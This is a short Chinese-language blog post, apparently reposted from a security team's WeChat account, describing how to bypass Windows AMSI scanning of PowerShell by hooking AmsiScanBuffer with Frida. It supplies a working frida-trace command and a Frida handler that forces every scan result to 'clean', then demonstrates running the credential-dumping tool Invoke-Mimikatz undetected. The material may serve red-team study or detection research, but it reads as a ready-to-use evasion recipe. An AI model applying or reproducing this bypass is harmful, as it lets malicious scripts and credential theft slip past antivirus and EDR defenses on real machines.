介绍
AMSI(反恶意软件扫描接口)是一项 Windows 功能,允许安全解决方案在运行时检查脚本并检测恶意内容。在本文中,我们将探讨如何绕过已知恶意 PowerShell 命令的 AMSI 检测——Invoke-Mimikatz使用 Frida 在运行时钩住并操纵该AmsiScanBuffer函数。
什么是 AMSI?
-
AMSI 是 Windows 用于扫描内存缓冲区中是否存在恶意内容的 API。
-
防病毒软件和 EDR 使用它来捕获内存中的威胁。
-
PowerShell、CScript 和其他解释器使用它在执行之前扫描脚本内容。
旁路概念
-
使用动态检测工具包 Frida 来挂接到该AmsiScanBuffer函数。
-
拦截扫描请求。
-
操纵结果以欺骗 AMSI 认为缓冲区是干净的。
Get-Process -Name powershell
frida-trace -p -x amsi.dll -i Amsi*
此命令:
-
将 Frida 附加到 PowerShell 进程
-
加载amsi.dll到上下文中
-
挂钩以 开头的任何函数Amsi(如AmsiScanBuffer、AmsiOpenSession等)
defineHandler({
onEnter: function(log, args, state) {
log('[*] AmsiScanBuffer()');
log('|- amsiContext: ' + args[0]);
log('|- buffer: ' + Memory.readUtf16String(args[1]));
log('|- length: ' + args[2]);
log('|- contentName: ' + args[3]);
log('|- amsiSession: ' + args[4]);
log('|- result: ' + args[5] + 'n');
this.resultPointer = args[5];
},
onLeave: function(log, retval, state) {
log('[*] AmsiScanBuffer() Exit');
resultPointer = this.resultPointer;
log('|- Result value is: ' + Memory.readUShort(resultPointer) + 'n');
// Force result to 0 (AMSISCAN_RESULT_CLEAN)
Memory.writeUShort(resultPointer, 0);
}
})
其作用:
-
记录正在扫描的 AMSI 缓冲区内容
-
拦截 AMSI 结果
-
强制结果为“干净”(值 0),因此 AMSI 认为它是无害的
5. 使用恶意命令进行测试——现在,在同一个 PowerShell 窗口中:
Invoke-Mimikatz
-
通常情况下,AMSI 会阻止此操作。
-
现在,因为我们钩住了并强制清除了扫描结果——它会被执行而不会被标记
结论
通过使用 Frida 进行钩子攻击AmsiScanBuffer,我们可以拦截内存中的恶意软件检测结果,并用“干净”的结果覆盖它,从而有效地绕过 AMSI,而无需修补或禁用它。
原文始发于微信公众号(Khan安全团队):PowerShell AMSI 绕过:使用 Frida 实现运行时钩子
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论